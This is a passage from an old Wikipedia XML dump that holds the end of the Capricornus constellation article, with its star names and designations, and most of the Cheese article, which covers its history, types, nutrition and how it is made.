seagoat altogether in favour of the [[mountain goat]], which has almost eradicated the watery themes that once encompassed this sign.

==Stars==
:Stars with proper names:
:* ([[Alpha Capricorni|&amp;alpha; Cap]]) '''Algedi''' [Al Giedi, Giedi, Algiedi, ''Gredi'']
:*: &lt;  &amp;#1575;&amp;#1604;&amp;#1580;&amp;#1583;&amp;#1610;&amp;#1617;   ''al-jadiyy''  The billy goat

::* '''Algedi Prima''' [Prima Giedi] (5/&amp;alpha;&lt;sup&gt;1&lt;/sup&gt; Cap) 4.24
::* '''Algedi Secunda''' [Secunda Giedi] (6/&amp;alpha;&lt;sup&gt;2&lt;/sup&gt; Cap) 3.56

:* ([[Beta Capricorni|&amp;beta; Cap]]) '''Dabih'''
:*: &lt; &amp;#1587;&amp;#1593;&amp;#1583; &amp;#1575;&amp;#1604;&amp;#1584;&amp;#1575;&amp;#1576;&amp;#1581;   ''sa&lt;sup&gt;c&lt;sup&gt;d að-ð&amp;#257;bi&amp;#295;''  Luck of the slaughterer/sacrificer

::* '''Dabih Major''' (9/&amp;beta; Cap) 3.05
::* '''Dabih Minor''' (&amp;beta;&lt;sup&gt;2&lt;/sup&gt; Cap) 6.09

:* ([[Gamma Capricorni|40/&amp;gamma; Cap]]) 3.68 '''Nashira'''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1587;&amp;#1593;&amp;#1583; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1575;&amp;#1588;&amp;#1585;&amp;#1577;  ''as-sa&lt;sup&gt;c&lt;/sup&gt;d an-n&amp;#257;&amp;#353;ira[h]''  The bringer of good news  

:* ([[Delta Capricorni|49/&amp;delta; Cap]]) 2.87 '''Deneb Algiedi''' [''Deneb Algedi''], '''Scheddi''' [''Sheddi'']
:*: &lt;  &amp;#1584;&amp;#1606;&amp;#1576; &amp;#1575;&amp;#1604;&amp;#1580;&amp;#1583;&amp;#1610;  ''ðanab[u] al-jadiyy''  Tail of the goat

:* ([[Epsilon Capricorni|39/&amp;epsilon; Cap]]) 4.51 '''Kastra'''
:* ([[Eta Capricorni|22/&amp;eta; Cap]]) 4.82 '''Arm'''

:* ([[Nu Capricorni|8/&amp;nu; Cap]]) 4.75 '''Alshat'''
:*: &lt;  &amp;#1575;&amp;#1604;&amp;#1588;&amp;#1575;&amp;#1577;  ''a&amp;#353;-&amp;#353;&amp;#257;[t]''  The (she) camel

:* ([[Pi Capricorni|10/&amp;pi; Cap]]) 5.08 '''Okul'''
:Stars with Bayer designations:
:: [[Zeta Capricorni|34/&amp;zeta; Cap]] 3.77; [[Theta Capricorni|23/&amp;theta; Cap]] 4.08; [[Iota Capricorni|32/&amp;iota; Cap]] 4.28; [[Kappa Capricorni|43/&amp;kappa; Cap]] 4.72; [[Lambda Capricorni|48/&amp;lambda; Cap]] 5.57; [[Mu Capricorni|51/&amp;mu; Cap]] 5.08; [[Xi Capricorni|2/&amp;xi; Cap]] 5.84; [[Xi2 Capricorni|1/&amp;xi;&lt;sup&gt;2&lt;/sup&gt; Cap]] 6.34; [[Omicron Capricorni|12/&amp;omicron; Cap]] &amp;mdash; double 5.94, 6.74; [[Rho Capricorni|11/&amp;rho; Cap]] 4.77; [[Sigma Capricorni|7/&amp;sigma; Cap]] 5.28; [[Tau Capricorni|14/&amp;tau; Cap]] 5.24; [[Tau1 Capricorni|13/&amp;tau;&lt;sup&gt;1&lt;/sup&gt; Cap]] 6.76; [[Upsilon Capricorni|15/&amp;upsilon; Cap]] 5.15; [[Chi Capricorni|25/&amp;chi; Cap]] 5.30; [[Phi Capricorni|28/&amp;phi; Cap]] 5.17; [[Psi Capricorni|16/&amp;psi; Cap]] 4.13; [[Omega Capricorni|18/&amp;omega; Cap]] 4.12; [[b Capricorni|36/b Cap]] 4.50; [[c Capricorni|46/c Cap]] 5.10; [[A Capricorni|24/A Cap]] 4.49
:Stars with Flamsteed designations:
::[[3 Capricorni|3 Cap]] 6.30; [[4 Capricorni|4 Cap]] 5.86; [[17 Capricorni|17 Cap]] 5.91; [[19 Capricorni|19 Cap]] 5.78; [[20 Capricorni|20 Cap]] 6.26; [[27 Capricorni|27 Cap]] 6.25; [[29 Capricorni|29 Cap]] 5.31; [[30 Capricorni|30 Cap]] 5.40; [[31 Capricorni|31 Cap]] 7.18; [[33 Capricorni|33 Cap]] 5.38; [[35 Capricorni|35 Cap]] 5.78; [[37 Capricorni|37 Cap]] 5.70; [[41 Capricorni|41 Cap]] 5.24; [[42 Capricorni|42 Cap]] 5.16; [[44 Capricorni|44 Cap]] 5.88; [[45 Capricorni|45 Cap]] 5.96; [[47 Capricorni|47 Cap]] 6.00

== Stars with planets ==
{| class=&quot;wikitable&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
! style=&quot;background:#00FF7F;&quot; | [[Star]]
! style=&quot;background:#00FF7F;&quot; | [[Planet]]
! style=&quot;background:#00FF7F&quot; | Distance&lt;br&gt;([[light year|ly]])
! style=&quot;background:#00FF7F&quot; | Discovered
|- style=&quot;text-align:center; background:#FFFFFF&quot;
| rowspan=&quot;2&quot; | [[HD 202206]] || [[HD 202206#HD 202206 b|HD 202206 b]] ||  151.14 || [[2000]]
|- style=&quot;text-align:center; background:#FFFFFF&quot;
| [[HD 202206#HD 202206 c|HD 202206 c]] || 151.14 || [[2004]]
|}


{{Zodiac}}
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Capricornus}}
* [http://www.allthesky.com/constellations/capricornus/ The Deep Photographic Guide to the Constellations: Capricornus]

[[Category:Capricornus constellation| ]]
[[Category:Astrological signs]]

[[ar:جدي (أبراج)]]
[[ca:Capricorn]]
[[da:Stenbukken]]
[[de:Steinbock (Sternbild)]]
[[es:Capricornus]]
[[eo:Kaprikorno]]
[[fr:Capricorne (constellation)]]
[[ga:An Gabhar]]
[[he:מזל גדי]]
[[ko:염소자리]]
[[id:Capricornus]]
[[it:Capricorno (astronomia)]]
[[ka:თხის რქა]]
[[la:Capricornus (sidus)]]
[[lt:Ožiaragis]]
[[hu:Bak (csillagkép)]]
[[nl:Steenbok (sterrenbeeld)]]
[[ja:やぎ座]]
[[nn:Steinbukken]]
[[pl:Koziorożec (gwiazdozbiór)]]
[[pt:Capricornus]]
[[ru:Козерог (созвездие)]]
[[sk:Súhvezdie Kozorožec]]
[[sl:Kozorog (ozvezdje)]]
[[sv:Stenbocken]]
[[th:กลุ่มดาวแพะทะเล]]
[[zh:摩羯座]]</text>
    </revision>
  </page>
  <page>
    <title>Cheese</title>
    <id>5440</id>
    <revision>
      <id>42147280</id>
      <timestamp>2006-03-04T03:16:19Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/152.163.100.13|152.163.100.13]] to last version by Syrthiss</comment>
      <text xml:space="preserve">{{featured article}}
{{cuisine}}
'''Cheese''' is a solid [[food]] made from the [[curd]]led [[milk]] of [[cattle|cow]]s, [[goat]]s, [[domestic sheep|sheep]], or other [[mammal]]s. The milk is curdled using some combination of [[rennet]] (or rennet substitutes) and acidification. [[Bacterium|Bacteria]] acidify the milk and play a role in defining the texture and flavor of most cheeses. Some cheeses also feature [[mold]]s, either on the outer rind or throughout.

There are [[List of cheeses|hundreds of types of cheese]]. Different styles and flavors of cheese are the result of using different species of bacteria and molds, different levels of [[Butterfat|milk fat]], variations in length of aging, differing processing treatments (cheddaring, pulling, brining, mold wash) and different breeds of cows, sheep, or other mammals. Other factors include animal diet and the addition of flavoring agents such as [[herb]]s, [[spice]]s, or [[smoking (food)|wood smoke]]. Whether or not the milk is [[Pasteurization|pasteurized]] may also affect the flavor.

For a few cheeses, the milk is curdled by adding [[acid]]s such as [[vinegar]] or [[lemon]] juice. Most cheeses, however, are acidified to a lesser degree by bacteria, which turn [[lactose|milk sugar]]s into [[lactic acid]], followed by the addition of rennet to complete the curdling. Rennet is an [[enzyme]] traditionally obtained from the stomach lining of young [[cattle]], but now also laboratory produced. Substitute &quot;vegetable rennets&quot; have been extracted from various species of the ''[[Cynara]]'' thistle family. 

In some societies, stored cheese is a hedge against famine and a good travel food. It is valuable for its portability, long life, and high content of [[fat]], [[protein]], [[calcium]], and [[phosphorus]]. Cheese is lighter-weight, more compact, and has a longer shelf life than the milk from which it is made. [[Cheesemaker]]s can place themselves near the center of a dairy region and benefit from fresher milk, lower milk prices, and lower shipping costs.  Cheese's substantial storage life lets a cheesemaker sell when prices are high or money is needed. Some markets even pay more for &quot;aged&quot; cheeses, exactly the opposite case from conventional milk production.

Cheeses are eaten raw or cooked, alone or with other ingredients. As they are heated, most cheeses melt and [[Non-enzymatic browning|brown]]. Some cheeses, like [[raclette]], melt smoothly; many others can be coaxed into doing so in the presence of acids or [[starch]]. [[Fondue]], with wine providing the acidity, is a good example of a smoothly-melted cheese dish. Other cheeses turn elastic and stringy when they melt, a quality that can be enjoyed in dishes like [[pizza]] and [[Welsh rabbit|Welsh rarebit]]. Some cheeses melt unevenly, their fats separating as they heat, while a few acid-curdled cheeses, including [[halloumi cheese|halloumi]], [[paneer]] and [[ricotta]], do not melt at all and can become firmer when cooked.

==History==
Cheese is an ancient food whose origins may predate recorded history. Probably discovered in [[Central Asia]] or the [[Middle East]], cheesemaking spread to [[Europe]] and had become a sophisticated enterprise by [[Ancient Rome|Roman]] times. As Rome's influence receded, distinct local cheesemaking techniques emerged. This diversity reached its peak in the early industrial age and has declined somewhat since then due to mechanization and economic factors.

===Origins===
The exact origins of cheesemaking are unknown, and estimates range from around 8000 [[Common Era|BCE]] (when [[sheep]] were [[domestication|domesticated]]) to around 3000 BCE. Credit for the discovery most likely goes to nomadic Turkic tribes in [[Central Asia]], around the same time that they developed [[yogurt]], or to people in the [[Middle East]]. A common tale about the discovery of cheese tells of an [[Arab]] nomad carrying milk across the desert in a container made from an animal's stomach, only to discover the milk had been separated into [[curd]] and [[whey]] by the rennet from the stomach. 

Folktales aside, cheese likely began as a way of preserving soured and curdled milk through pressing and salting, with rennet introduced later&amp;mdash; perhaps when someone noticed that cheese made in an animal stomach produced more solid and better-textured curds. The earliest [[archeology|archaeological]] evidence of cheesemaking has been found in [[Ancient Egypt|Egyptian]] tomb murals, dating to about 2300 BCE. The earliest cheeses would likely have been quite sour and salty, similar in texture to rustic [[cottage cheese]] or [[feta]].

From the Middle East, basic cheesemaking found its way into [[Europe]], where cooler climates meant less aggressive salting was needed for preservation. With moderate salt and acidity, the cheese became a suitable environment for a variety of beneficial [[microbe]]s and molds, which are what give aged cheeses their pronounced and interesting flavors.

===Classical times===
Ancient [[Hellenic civilization|Greek]] mythology credited [[Aristaeus]] with the discovery of cheese. [[Homer]]'s ''[[Odyssey]]'' ([[8th century BC|8th century BCE]]) describes the [[Cyclops]] making and storing sheep's and goats' milk cheese. From [[Samuel Butler (1835-1902)|Samuel Butler's]] translation:
:We soon reached his cave, but he was out shepherding, so we went inside and took stock of all that we could see. His cheese-racks were loaded with cheeses, and he had more lambs and kids than his pens could hold... 
:When he had so done he sat down and milked his ewes and goats, all in due course, and then let each of them have her own young. He curdled half the milk and set it aside in [[wicker]] strainers...

By [[Ancient Rome|Roman]] times, cheese was an everyday food and cheesemaking a mature art, not very different from what it is today. [[Columella]]'s ''De Re Rustica'' (circa 65 CE) details a cheesemaking process involving rennet coagulation, pressing of the curd, salting, and aging. [[Pliny the Elder|Pliny's]] [[Natural History (Pliny)|''Natural History'']] (77 CE) devotes a chapter (XI, 97) to describing the diversity of cheeses enjoyed by Romans of the early [[Roman Empire|Empire]]. He stated that the best cheeses came from the villages near [[Nîmes]], but did not keep long and had to be eaten fresh. Cheeses of the [[Alps]] and [[Apennines]] were remarkable for their variety then as now. A [[Ligures|Ligurian]] cheese was noted for being made mostly from sheeps' milk, and some cheeses produced nearby were stated to weigh as much as a thousand pounds each. Goats' milk cheese was a recent taste in Rome, improved over the &quot;medicinal taste&quot; of [[Gaul]]'s similar cheeses by [[smoking (food)|smoking]]. Of cheeses from overseas, Pliny preferred those of [[Bithynia]] in Asia Minor.

===Post-classical Europe===
Rome spread a uniform set of cheesemaking techniques throughout much of Europe, and introduced cheesemaking to areas without a previous history of it. As Rome declined and long-distance trade collapsed, cheese in Europe diversified further, with various locales developing their own distinctive cheesemaking traditions and products.  [[France]] and [[Italy]] are the nations with the most diversity in locally made cheeses&amp;mdash; today with approximately 400 each. (A French proverb says there is a different French cheese for every day of the year, and [[Charles de Gaulle]] once asked &quot;how can you govern a country in which there are 246 kinds of cheese?&quot;&lt;ref&gt;Quoted in [[Newsweek]], October 1, 1962 according to ''The Columbia Dictionary of Quotations'' (Columbia University Press, 1993 ISBN 0-2310719-4-9 p 345). Numbers besides 246 are often cited in very similar quotes; whether these are misquotes or whether de Gaulle repeated the same quote with different numbers is unclear.&lt;/ref&gt; Still, the advancement of the cheese art in Europe was slow during the centuries after Rome's fall. Many of the cheeses we know best today were first recorded in the late [[Middle Ages]] or after&amp;mdash; cheeses like [[cheddar cheese|cheddar]] around 1500 CE, [[Parmesan cheese|Parmesan]] in 1597, [[Gouda (cheese)|Gouda]] in 1697, and [[Camembert (cheese)|Camembert]] in 1791.&lt;ref&gt;{{cite book | author=Smith, John H. | title=Cheesemaking in Scotland - A History | publisher=The Scottish Dairy Association | year=1995 | id=ISBN 0-9525323-0-1}}. [http://www.ebs.hw.ac.uk/SDA/publshr.html Full text], [http://www.ebs.hw.ac.uk/SDA/cheese1.html Chapter with cheese timetable].&lt;/ref&gt;

In 1546, [[John Heywood]] wrote in ''Proverbes'' that &quot;the moon is made of a greene cheese.&quot; (''Greene'' refers here not to the color, as many now think, but to being new or unaged.)&lt;ref&gt;Cecil Adams (1999). [http://www.straightdope.com/classics/a990723a.html Straight Dope: How did the moon=green cheese myth start?]. Retrieved October 15, 2005.&lt;/ref&gt; Variations on this sentiment were long repeated. Although some people assumed that this was a serious belief in the era before [[space exploration]], it is more likely that Heywood was indulging in [[nonsense]].

===Modern era===
The first factory for the industrial production of cheese opened in Switzerland in 1815, but it was in the United States where large-scale production first found real success. Credit usually goes to Jesse Williams, a dairy farmer from [[Rome, New York|Rome]], [[New York]], who in 1851 started making cheese in an [[assembly line|assembly-line]] fashion using the milk from neighboring farms. Within decades hundreds of such dairy associations existed.

The 1860s saw the beginnings of mass-produced rennet, and by the turn of the century scientists were producing pure microbial cultures. Before then, bacteria in cheesemaking had come from the environment or from recycling an earlier batch's whey; the pure cultures meant a more standardized cheese could be produced. 

Factory-made cheese overtook traditional cheesemaking in the [[World War II]] era, and factories have been the source of most cheese in America and Europe ever since. Today, Americans buy more [[processed cheese]] than &quot;real&quot;, factory-made or not.&lt;ref&gt;{{cite book | author=McGee, Harold | title=On Food and Cooking (Revised Edition) | publisher=Scribner | year=2004 | id=ISBN 0-684-80001-2}}. p 54. &quot;In the United States, the market for process cheese [...] is now larger than the market for 'natural' cheese, which itself is almost exclusively factory-made.&quot;&lt;/ref&gt; Worldwide, cheese is a major [[agriculture|agricultural]] product. According to the [[Food and Agricultural Organization]] of the [[United Nations]], over 18 million [[metric ton]]s of cheese was produced worldwide in 2004. This is more than the yearly production of [[coffee]] beans, [[tea]] leaves, [[cocoa]] beans and [[tobacco]] combined.  Germany is the largest importer of Cheese from France, the major exporter.

==Cultural attitudes==
Cheese is rarely found in [[Asian cuisine|East Asian]] dishes, as dairy products in general are rare. However, East Asian sentiment against cheese is not universal. Cheese made from [[yak]]s' (''chhurpi'') or [[mare]]s' milk is common on the Asian [[steppe]]s, and cheese is used in [[Cuisine of India|India]], where [[paneer]] [[curry|curries]] are popular. Even in [[People's Republic of China|China]], cheese consumption is increasing, with annual sales more than doubling from 1996 to 2003 (to a still quite-small 30 million [[United States dollar|U.S. dollars]] a year).&lt;ref&gt;{{cite journal | author=Rebecca Buckman | title=Let Then Eat Cheese | journal=Far Eastern Economic Review | year=2003 | volume=166 n. 49 | pages=41}} [http://www.globalpolicy.org/globaliz/cultural/2003/1211chinacheese.htm Full text]&lt;/ref&gt; Certain kinds of Chinese preserved [[Bean curd#Fermented|bean curd]] are sometimes misleadingly referred to in English as &quot;Chinese cheese&quot;, due to their strong flavor.

Strict followers of the dietary laws of [[Judaism]] and [[Islam]] must avoid most hard cheeses, which are made with rennet from animals not slaughtered in a manner adhering to [[kosher foods|kosher]] or [[halal]]&lt;ref&gt;Toronto Public Health. [http://www.toronto.ca/health/nm_faq_halal_foods.htm Frequently Asked Questions about Halal Foods]. Retrieved October 15, 2005.&lt;/ref&gt; laws. Both faiths allow cheese made with vegetable-based rennet or with rennet made from animals that were processed in a kosher or halal manner. Many less-orthodox Jews also believe that rennet undergoes enough processing to change its nature entirely, and do not consider it to ever violate kosher law. (See ''[[Kosher foods#Cheese|Cheese and kashrut]]''.) As cheese is a dairy food under kosher rules it cannot be eaten in the same meal with any meat.

Many [[vegetarianism|vegetarian]]s avoid any cheese made from animal-based rennet. Most widely available vegetarian cheeses are made using rennet produced by fermentation of the [[fungus]] ''Mucor miehei''. [[Vegan]]s and other dairy-avoiding vegetarians cannot eat real cheese at all, but some vegetable-based substitute cheeses (usually [[soybean|soy]] based) are available.

Even in cultures with long cheese traditions, it is not unusual to find people who perceive cheese &amp;mdash; especially pungent-smelling or mold-bearing varieties such as [[Limburger cheese|Limburger]] or [[Roquefort (cheese)|Roquefort]] &amp;mdash; as unappetizing, unpalatable, or disgusting. Food-science writer [[Harold McGee]] proposes that cheese is such an acquired taste because it is produced through a process of controlled [[Decomposition|spoilage]] and many of the odor and flavor molecules in an aged cheese are the same found in rotten foods. McGee notes &quot;An aversion to the odor of decay has the obvious biological value of steering us away from possible food poisoning, so it's no wonder that an animal food that gives off whiffs of shoes and soil and the stable takes some getting used to.&quot;&lt;ref&gt;McGee p 58, &quot;Why Some People Can't Stand Cheese.&quot;&lt;/ref&gt;

==Types of cheese==
{{main|List of cheeses}}
No one categorization scheme can capture all the diversity of the world's cheeses.  These are some commonly used classifications. 
[[Image:Cheese platter.jpg|250px|thumb|left|A cheese platter with many types of cheese.]]

===Fresh===
For these simplest cheeses, milk is curdled and drained, with little other processing. Examples include [[Cottage cheese]], Romanian [[romanian cas|Caş]], [[Neufchâtel]] (the model for American-style [[cream cheese]]), and fresh goats' milk [[Chèvre cheese|chèvre]]. Such cheeses are soft and spreadable, with a mild taste. Fresh cheeses without additional [[preservative]]s can spoil in a matter of days. 

Whey cheeses are fresh cheeses made from the [[whey]] discarded while producing other cheeses. [[Ricotta]], [[Romania|Romanian]] [[Romanian Urda|Urda]] and [[Norway|Norwegian]] [[Geitost]] are examples. 

Traditional [[Mozzarella]] also falls into the fresh cheese category. Fresh curds are stretched and kneaded in hot water to form a ball of Mozzarella, which in southern [[Italy]] is usually eaten within a few hours of being made. Other firm fresh cheeses include [[paneer]] and [[queso fresco]].

===Distinctively aged===
Soft-ripened cheeses such as [[Brie (cheese)|Brie]] and [[Camembert (cheese)|Camembert]] are made by allowing white ''[[Penicillium candida]]'' or ''[[Penicillium camemberti|P. camemberti]]'' mold to grow on the outside of a soft cheese for a few days or weeks. The mold forms a white crust and contributes to the smooth, runny, or gooey textures and more intense flavors of these aged cheeses. Goats' milk cheeses are often treated in a similar manner, sometimes with white molds and sometimes with blue.

Blue-mold cheeses like [[Roquefort (cheese)|Roquefort]], [[Gorgonzola (cheese)|Gorgonzola]], and [[Stilton (cheese)|Stilton]] are produced by inoculating loosely pressed curds with ''[[Penicillium roqueforti]]'' or ''[[Penicillium glaucum]]'' molds. The mold grows within the cheese as it ages. These cheeses have distinct blue veins and, often, assertive flavors. Their texture can be soft or firm.

Washed-rind cheeses are periodically bathed in a saltwater [[brine]] as they age, making their surfaces amenable to a class of bacteria (the reddish-orange &quot;smear bacteria&quot;) which impart pungent odors and distinctive flavors. Washed-rind cheeses can be soft ([[Limburger cheese|Limburger]]), semi-hard ([[Munster (cheese)|Munster]]), or hard ([[Appenzeller (cheese)|Appenzeller]]).

===Other categories===
[[Image:Kaasmarkt2 close.jpg|thumb|A [[Gouda]] cheese market]]
Categorizing cheeses by firmness is a common but inexact practice. The lines between &quot;soft&quot;, &quot;semi-soft&quot;, &quot;semi-hard&quot;, and &quot;hard&quot; are arbitrary, and many types of cheese are made in softer or firmer variations. Harder cheeses have a lower moisture content than softer cheeses. They are generally packed into molds under more pressure and aged for a longer time.

The familiar [[Cheddar cheese|cheddar]] is one of a family of semi-hard or hard cheeses (including [[Cheshire cheese|Cheshire]] and [[Gloucester cheese|Gloucester]]) whose curd is cut, gently heated, piled, and stirred before being pressed into forms. [[Colby cheese|Colby]] and [[Monterey Jack]] are similar but milder cheeses; their curd is rinsed before it is pressed, washing away some acidity and [[calcium]]. A similar curd-washing takes place when making the [[Netherlands|Dutch]] cheeses [[Edam (cheese)|Edam]] and [[Gouda (cheese)|Gouda]].

Swiss-style cheeses like [[Emmental (cheese)|Emmental]] and [[Gruyère (cheese)|Gruyère]] are generally quite firm. The same bacteria that give Emmental its holes contribute to their aromatic and sharp flavors. The hardest cheeses &amp;mdash; &quot;grating cheeses&quot; such as [[Parmesan cheese|Parmesan]], [[Pecorino]], and [[Romano cheese|Romano]] &amp;mdash; are quite firmly packed into large forms and aged for months or years.

[[Processed cheese]] is made from traditional cheese and [[emulsifier]]s, often with the addition of milk, more salt, [[preservative]]s, and [[food coloring]]. It is inexpensive, consistent, and melts smoothly. This is the most-consumed category of cheese in the [[United States]]. The most familiar processed cheese may be pre-sliced mild yellow American Cheese or [[Velveeta]]. Many other varieties exist, including [[Easy Cheese]], a [[Kraft Foods]] brand sold in a spray can.

==Health and nutrition==
[[Image:Cheese market Basel.jpg|250px|thumb|right|Cheese selection on market stand in [[Basel]], [[Switzerland]].]]
In general, cheese supplies a great deal of [[calcium]], [[protein]], and [[phosphorus]]. A 30&amp;nbsp;gram (one&amp;nbsp;ounce) serving of cheddar cheese contains about seven&amp;nbsp;grams of protein and 200&amp;nbsp;milligrams of calcium. Nutritionally, cheese is essentially concentrated milk: it takes about 200&amp;nbsp;grams (seven&amp;nbsp;ounces) of milk to provide that much protein, and 150&amp;nbsp;grams to equal the calcium.&lt;ref&gt;Nutritional data from [http://www.cnn.com/FOOD/resources/food.for.thought/dairy/compare.dairy.html CNN Interactive]. Retrieved October 20, 2004.&lt;/ref&gt;

Cheese shares milk's nutritional disadvantages as well. The [[Center for Science in the Public Interest]] condemns cheese as America's number one source of [[saturated fat]], adding that the average American ate 30&amp;nbsp;pounds (13.6&amp;nbsp;kg) of cheese in the year 2000, up from 11&amp;nbsp;pounds (5&amp;nbsp;kg) in 1970.&lt;ref&gt;Center for Science in the Public Interest (2001). [http://www.cspinet.org/new/cheese.html Don't Say Cheese]. Retrieved October 15, 2005.&lt;/ref&gt; Their recommendation is to limit full-fat cheese consumption to two&amp;nbsp;ounces (60&amp;nbsp;grams) a week. Whether cheese's highly saturated fat actually leads to an increased risk of heart disease is called into question when considering [[France]] and [[Greece]], which lead the world in cheese eating (more than 14&amp;nbsp;ounces (400&amp;nbsp;grams) a week per person, or over 45&amp;nbsp;pounds (20&amp;nbsp;kg) a year) yet have relatively low rates of heart disease.&lt;ref&gt;McGee, p 67. McGee supports both this contention and that more food poisonings in Europe are caused by pasteurized cheeses than raw-milk.&lt;/ref&gt;

A number of food safety agencies around the world have warned of the risks of raw-milk cheeses. The U.S. [[Food and Drug Administration]] states that soft raw-milk cheeses can cause &quot;serious infectious diseases including [[listeriosis]], [[brucellosis]], [[salmonellosis]] and [[tuberculosis]]&quot;.&lt;ref&gt;[http://www.consumeraffairs.com/news04/2005/fda_cheese.html FDA Warns About Soft Cheese Health Risk]. Retrieved October 15, 2005.&lt;/ref&gt; It is U.S. law since 1944 that all raw-milk cheeses (including imports since 1951) must be aged at least 60 days. [[Australia]] has a wide ban on raw-milk cheeses as well, though in recent years exceptions have been made for Swiss [[Gruyère (cheese)|Gruyère]], [[Emmental (cheese)|Emmental]] and [[Sbrinz]], and for French [[Roquefort (cheese)|Roquefort]].&lt;ref&gt;Chris Mercer (2005). [http://www.ap-foodtechnology.com/news/ng.asp?id=62799-fsanz-roquefort-speciality-cheese Australia lifts Roquefort cheese safety ban]. Retrieved October 22, 2005.&lt;/ref&gt; Some say these worries are overblown, pointing out that [[pasteurization]] of the milk used to make cheese does not ensure its safety in any case.&lt;ref&gt;Janet Fletcher. [http://www.specialtyfood.com/do/news/ViewNewsArticle?id=1841 The Myths About Raw-Milk Cheese]. Retrieved October 15, 2005.&lt;/ref&gt; This is supported by statistics showing that in Europe (where young raw-milk cheeses are still legal in some countries), most cheese-related [[food poisoning]] incidents were traced to pasteurized cheeses. Pregnant women may face an additional risk from cheese; the U.S. [[Centers for Disease Control and Prevention|Centers for Disease Control]] has warned pregnant women against eating soft-ripened cheeses and blue-veined cheeses, due to the [[listeria]] risk to the unborn baby.&lt;ref&gt;[http://www.americanpregnancy.org/pregnancycomplications/listeria.html Listeria and pregnancy], from the American Pregnancy Association. Retrieved 28 February 2006.&lt;/ref&gt;

Some studies claim to show that cheeses including Cheddar, Mozzarella, Swiss and American can help to prevent [[tooth decay]].&lt;ref&gt;National Dairy Council. [http://www.nationaldairycouncil.org/NationalDairyCouncil/Nutrition/Products/cheesePage6.htm Specific Health Benefits of Cheese]. Retrieved October 15, 2005.&lt;/ref&gt; Several mechanisms for this protection have been proposed:
* The calcium, protein, and phosphorus in cheese may act to protect [[tooth enamel]].
* Cheese increases saliva flow, washing away acids and sugars.
* Cheese may have an antibacterial effect in the mouth.

Cheese is often avoided by those who are [[lactose intolerance|lactose intolerant]], but ripened cheeses like [[Cheddar cheese|Cheddar]] contain only about 5% of the [[lactose]] found in whole [[milk]], and aged cheeses contain almost none.&lt;ref&gt;[http://www.ilovecheese.com/lactose_intolerant_faqs.asp Lactose Intolerance FAQs] from the American Dairy Association. Retrieved October 15, 2005.&lt;/ref&gt; Some people suffer reactions to [[amines]] found in cheese, particularly [[histamine]] and [[tyramine]]. Some aged cheeses contain significant concentrations of these amines, which can trigger symptoms mimicking an [[allergic reaction]]: [[headache]]s, [[rash]]es, and [[blood pressure]] elevations.

==Making cheese==
:''Main article: [[Home cheesemaking]]''

===Curdling===
The only strictly required step in making any sort of cheese is separating the milk into solid [[curd]]s and liquid [[whey]]. Usually this is done by acidifying the milk and adding [[rennet]]. The acidification is accomplished directly by the addition of an acid like [[vinegar]] in a few cases ([[paneer]], [[queso fresco]]), but usually starter [[bacteria]] are employed instead. These starter bacteria convert [[milk sugar]]s into [[lactic acid]]. The same bacteria (and the enzymes they produce) also play a large role in the eventual flavor of aged cheeses. Most cheeses are made with starter bacteria from the ''[[Lactococci]]'', ''[[Lactobacilli]]'', or ''[[Streptococci]]'' families.  [[Cheeses of Switzerland|Swiss]] starter cultures also include ''[[Propionibacter shermani]]'', which produces carbon dioxide gas bubbles during aging, giving [[Swiss cheese]] or [[Emmental (cheese)|Emmental]] its holes. 

Some fresh cheeses are curdled only by acidity, but most cheeses also use [[rennet]]. Rennet sets the cheese into a strong and rubbery [[gel]] compared to the fragile curds produced by acidic coagulation alone. It also allows curdling at a lower acidity&amp;mdash;important because flavor-making bacteria are inhibited in high-acidity environments. In general, softer, smaller, fresher cheeses are curdled with a greater proportion of acid to rennet than harder, larger, longer-aged varieties.

===Curd processing===
At this point, the cheese has set into a very moist gel. Some soft cheeses are now essentially complete: they are drained, salted, and packaged. For most of the rest, the curd is cut into small cubes. This allows water to drain from the individual pieces of curd.

Some hard cheeses are then heated to temperatures in the range of 35°C&amp;ndash;55°C (100°F&amp;ndash;130°F). This forces more whey from the cut curd. It also changes the taste of the finished cheese, affecting both the bacterial culture and the milk chemistry. Cheeses that are heated to the higher temperatures are usually made with [[thermophilic]] starter bacteria which survive this step&amp;mdash;either [[lactobacilli]] or [[Streptococcus salivarius|streptococci]].

[[Edible salt|Salt]] has a number of roles in cheese besides adding a salty flavor. It preserves cheese from spoiling, draws moisture from the curd, and firms up a cheese’s texture in an interaction with its [[protein]]s. Some cheeses are salted from the outside with dry salt or brine washes. Most cheeses have the salt mixed directly into the curds.

A number of other techniques can be employed to influence the cheese's final texture and flavor. Some examples:
*Stretching: ([[Mozzarella]], [[Provolone (cheese)|Provolone]]) The curd is stretched and kneaded in hot water, developing a stringy, fibrous body. 
*Cheddaring: ([[Cheddar cheese|Cheddar]], other English cheeses) The cut curd is repeatedly piled up, pushing more moisture away. The curd is also mixed (or ''milled'') for a long period of time, taking the sharp edges off the cut curd pieces and influencing the final product's texture.
*Washing: ([[Edam (cheese)|Edam]], [[Gouda (cheese)|Gouda]], [[Colby cheese|Colby]]) The curd is washed in warm water, lowering its acidity and making for a milder-tasting cheese.

Most cheeses achieve their final shape when the curds are pressed into a mold or form. The harder the cheese, the more pressure is applied. The pressure drives out moisture &amp;mdash; the molds are designed to allow water to escape &amp;mdash; and unifies the curds into a single solid body.

===Aging===
A newborn cheese is usually salty yet bland in flavor and, for harder varieties, rubbery in texture. These qualities are sometimes enjoyed&amp;mdash;[[cheese curds]] are eaten on their own&amp;mdash;but usually cheeses are left to rest under carefully controlled conditions. This aging period (also called ripening, or, from the [[French language|French]], ''affinage'') can last from a few days to several years.  As a cheese ages, microbes and enzymes transform its texture and intensify its flavor. This transformation is largely a result of the breakdown of [[casein]] [[proteins]] and [[butterfat|milkfat]] into a complex mix of [[amino acid]]s, [[amine]]s, and [[fatty acid]]s.

